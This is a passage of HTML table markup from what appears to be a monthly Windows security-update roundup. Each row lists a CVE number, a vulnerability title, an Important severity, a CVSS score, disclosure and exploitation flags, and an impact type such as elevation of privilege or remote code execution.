  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
